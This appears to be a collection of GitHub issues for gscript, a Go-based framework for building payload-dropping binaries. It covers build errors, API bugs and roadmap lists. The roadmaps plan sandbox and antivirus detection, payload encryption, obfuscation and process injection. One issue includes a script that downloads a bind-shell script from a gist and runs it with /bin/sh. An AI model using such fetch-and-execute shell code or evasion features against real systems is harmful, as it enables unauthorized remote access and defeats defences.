Whenever I compile a script that has multiple calls to ExecuteCommand, I get a runtime error. For example the following script:

function Deploy() {
    G.exec.ExecuteCommand("powershell", ["ls", "-recurse"]);
    G.exec.ExecuteCommand("powershell", ["ls", "-recurse"]);
    return true;
}

The first call to ExecuteCommand runs as expected. The second call will generate the following error:

[engine:t1083-2.gs] ERROR runtime error: could not create multiple assignment structure - (anonymous): Line 1:4 Unexpected token ILLEGAL (and 1 more errors)
[engine:t1083-2.gs]  INFO console.log >>> runtime: could not create multiple assignment structure - (anonymous): Line 1:4 Unexpected token ILLEGAL (and 1 more errors)

I traced this error message to line 301 of gscript/compiler/templates/vm_file.go.tmpl

I've tried making changes to the template file and recompiling, but the changes aren't taking effect. I'm using the commands from the docs to compile:

cd ~/go/src/github.com/gen0cide/gscript/cmd/gscript
go build
cp ./gscript /usr/local/bin/

I have two questions for this issue. A) Is there a workaround for the error I am getting? and B) Why are my changes to the template file not working? Is that file being pulled from somewhere else or am I doing something wrong with my build?

Looks like priority is not working? See below. The order of the scripts in the compile args determines priority.

[gscript/docker version:v1 ~]# cat share/start_first.gs
//priority:1

function Deploy() {
    console.log('I am priority 1');
}
[gscript/docker version:v1 ~]# cat share/start_second.gs
//priority:1000

function Deploy() {
    console.log('I am priority 1000');
}

I wanted to document some of my thoughts on what features I'd like to see in gscript for us to take it to v0.1.0, the first "stable" release I'd like to ship.

New Functions

• FilePerms(path, 0755, recursive) - allows a script to change the permissions of files and directories, including recursively.
• FileStat(path) - retrieve the modified/access/create times for a given file or directory.
• SetModTime(path, timestamp) - Set the modified time of a file.
• SetAccessTime(path, timestamp) - Set the access time of a file.
• SetCreateTime(path, timestamp) - Set the create time of a file.
• FindProcess(searchterm) - Find processes that match a specific regular expression.
• DetectSandbox() - Detect if the value is running in a sandbox.
• DetectAV() - Detect AntiVirus that might be running on the machine.
• SelfPath() - Get current path to the running gscript executable.
• InstallSystemService(svc_config) - Allows a system service to be installed (cross platform). svc_config is a new data structure that will need to be defined.
• RenderTemplate(template_bytes, vars) - Allows the user to embed a golang template and render it at runtime.

Compiler Enhancements

• Move compiler and runtime into their own sub packages. This will reduce final binary size.
• Minify gscript's before embedding script into final binary.
• Implement better embedded compression to reduce binary size.
• Strip symbols from final binary.
• Create new subcommand new that writes a gscript template to a location of your choice.
• Add --upx flag to compile command to UPX the final binary to the smallest possible size.
• Implement simple encryption for payloads.
• Port GOTTI binary obfuscation to the gscript compiler.

New Macros

• //require:/path/to/lib.gs - This will allow a gscript to reference custom functions from a javascript file. The gscript library should NOT implement the hook functions and the compiler will return an error if it does.
• //priority:$VAL - Allows the user to specify lexical ordering of scripts. Scripts without priority will default to priority of 100. All gscripts of a similar priority will be executed concurrently.
• //os:windows - Allows the user to specify what OS this gscript is intended for, preventing bundling of incompatible gscripts into the final binary.
• //arch:386 - Same as //os but for architecture.
• //timeout:30 - Allows the user to set a timeout for this gscript to prevent it from hanging during execution. Default will be set to 10 seconds.

Bug Fixes

• Fix shell incompatibility with windows terminals.
• Change compiler output prefix from GENESIS to GSE.
• Fix Halt() command to stop the entire gscript binary including all goroutines and VMs.
• Implement a file not found timeout on the //import_url macro.
• Migrate process injection to an interface that gets satisfied for all platform types.

Tech Debt

• TBD, but definitely will be some.
• More documentation needed.
• README.md redesign to improve user learning.

It appears that RetrieveFileFromURL has been replaced with HTTPGetFile and ForkExec has been replaced with ForkExecuteCommand, so this example doesn't seem to work anymore.

This works provided the script on ahhh's gist works correctly (haven't tested on osx, but it downloads + executes the script w/ syntax error on Linux):

// genesis script, spawns a generic bind shell in the background

function BeforeDeploy() {
console.log("Testing generic bind shell pulled from the web");
return true;
}

function Deploy() {
var url = "https://gist.githubusercontent.com/ahhh/609cdf5abaa22e233976aec55a3e0dfd/raw/20cce584caeab27c3be3a7a612fda0ec3e99f94d/simple_bind.sh";
var file_3 = "/tmp/bind.sh";
var response2 = HTTPGetFile(url);
var response3 = WriteFile(file_3, response2.file, 0755);
var hash = MD5(file_3);
console.log("MD5 of " + file_3 + ": " + hash.value);
return true;
}

function AfterDeploy() {
ForkExecuteCommand("/bin/sh", ["/tmp/bind.sh"]);
console.log("Test complete");
return true;
}

I followed every step but for some reason after building there is no ./gscript file compiled?

when I run ./gscript I receive:

"bash: gscript: command not found"

any ideas?

This appears to be limited to 20 bytes and not able to repeat a key.

Trying to XOR more than 20 bytes results in an error:

[GSCRIPT:xor.gs] 2018-25-10 12:25:09 PM (PDT) FATAL Timer experienced fatal error: runtime error: index out of range script=xor.gs line=0

Unequal length byte arrays XORs the length of the smaller array: XorBytes("AAAA", "B") will return only the first byte "A" ^ "B", then 19 NULLs.

The majority of functions store the output in obj.value, however many functions have unique variable names for their output on a function-by-function basis. Should this be standardized to obj.value when the function only logically returns one thing to make scripting easier and more consistent?

Looks like UPX packing is broken? The option is recognized by gscript but the binary that is output is not packed on windows and Linux output binaries. See below

add a get current user function

in engine/lib_registry_windows.go the DelRegKeyValue function has an unused parameter "valueName"

additionally, I am unsure if this function behaves as intended. it first makes a call to DeleteValue, then proceeds to DeleteKey, which wipes out the entire key rather than just a value.

Thanks for the creation of gscript. There may be an easy way to my problem, but I can't find a way out. How can I get the current users' username without the domain or the workgroup. i.e:
[engine:helloworld.gs] INFO console.log >>> Our user is: AJ\AJ

This is how I am calling it:

    var user = user2.Current();
    console.log("Our user is: "+user[0].Username);

Thanks!

This example appears to be using an outdated WriteFile() call and no longer works.

3. go get on gscript repo

Hello,

The error happens when generating for a windows binary:

Solved by running go get github.com/konsorten/go-windows-terminal-sequences .

Similar issue that this one

Cheers!

GetProcName() contains a FIXME comment stating that this function returns the name of the executable rather than the process name.

Need to fix / review lib_file.AppendFileString

Is there a way to hide the command line that pops after executing a binary? I couldn't find any reference to that.

Several libs are required to start gscript shell.

*** GSCRIPT INTERACTIVE SHELL ***
gscript>

When I try $ go get github.com/gen0cide/gscript/cmd/gscript the system returns:

# github.com/gen0cide/gscript/compiler/computil
go/src/github.com/gen0cide/gscript/compiler/computil/packages.go:48:21: undefined: gopkgs.Packages

Here's my PATH and Go version:

$ echo $PATH
/usr/local/bin:/usr/bin:/usr/local/sbin:/usr/sbin:/home/george/.local/bin:/home/george/bin:/usr/local/go/bin
$ go version
go version go1.11 linux/amd64

Also, in the installation readme, please change cd ~/go/src/github.com/gen0cide/cmd/gscript to cd ~/go/src/github.com/gen0cide/gscript/cmd/gscript

Trying to compile a script without including --enable-logging results in ./main.go:14:89: undefined: syscall.SIGSTKFLT. Any idea how I can fix that? I'm using MacOSX Mojave 10.14.4.

If you are experiencing an error like the following:

(db㉿Hel)-[~/…/gen0cide/gscript/cmd/gscript]
└─$ ./gscript 
panic: could not find the genesis package in your go path

goroutine 1 [running]:
github.com/gen0cide/gscript/compiler/computil.DefaultOptions()
        /home/db/go/src/github/gen0cide/gscript/compiler/computil/options.go:164 +0x339
main.init()
        /home/db/go/src/github/gen0cide/gscript/cmd/gscript/main.go:17 +0x7ef

Consider the following hacky workaround:

┌──(db㉿Hel)-[~/…/gen0cide/gscript/cmd/gscript]
└─$ export GO111MODULE=off 
┌──(db㉿Hel)-[~/…/gen0cide/gscript/cmd/gscript]
└─$ vim main.go 

Then modify the following lines of the gscript/cmd/gscript/main.go file:
comment out the logurus dependency at line 7:
// "github.com/sirupsen/logrus
comment the usage of logurus on line 83:
// cliLogger.Logger.SetLevel(logrus.DebugLevel)

I wanted to document some of my thoughts on what features I'd like to see in gscript for us to take it to v0.2.0, the first "stable" release I'd like to ship.

Engine

• Make BeforeDeploy() and AfterDeploy() hooks optional, but support older scripts.
• Expose the command line arguments to a GSCRIPT via an ARGS object.
• Make progress on FreeBSD and OpenBSD support.
• Create a native API for binary self deletion on all platforms.

Compiler

• Expose a map of defined functions and variables
• Implement a more intelligent AST walker
• Implement a linker that analyzes a gscript's targets and only includes standard library functions that are defined by the included scripts.
• Be able to point the compiler at different engines revisions or standard libraries.
• Implement packages so WriteFile() becomes Files.WriteFile()
• Implement simple encryption for payloads.
• Port GOTTI binary obfuscation to the gscript compiler.
• Update post compilation obfuscation to support dynamic analysis of identifiable strings.

New Macros

• //require:/path/to/lib.gs - This will allow a gscript to reference custom functions from a javascript file. The gscript library should NOT implement the hook functions and the compiler will return an error if it does.
• //os:windows - Allows the user to specify what OS this gscript is intended for, preventing bundling of incompatible gscripts into the final binary.
• //arch:386 - Same as //os but for architecture.

Debugger

• Allow the debugger to be compiled into a final binary for debugging a final produced binary.

CLI

• Have gscript update use go get -u to update the standard library, as well as the binary.

Standard Library

• Move YAML function definitions to comment based decorators in the Golang function.
• Decouple the STDLIB from the engine, so that individual stdlib packages can be included.
• Create a Golang based regular expression package with common methods present.

New Functions

• DetectSandbox() - Detect if the value is running in a sandbox.
• DetectAV() - Detect AntiVirus that might be running on the machine.
• RenderTemplate(template_bytes, vars) - Allows the user to embed a golang template and render it at runtime.

Bug Fixes

• Fix issue packing large files - implement heap allocation segments for large files so that the runtime can assemble them at runtime.
• Migrate process injection to an interface that gets satisfied for all platform types.

Tech Debt

• TBD, but definitely will be some.
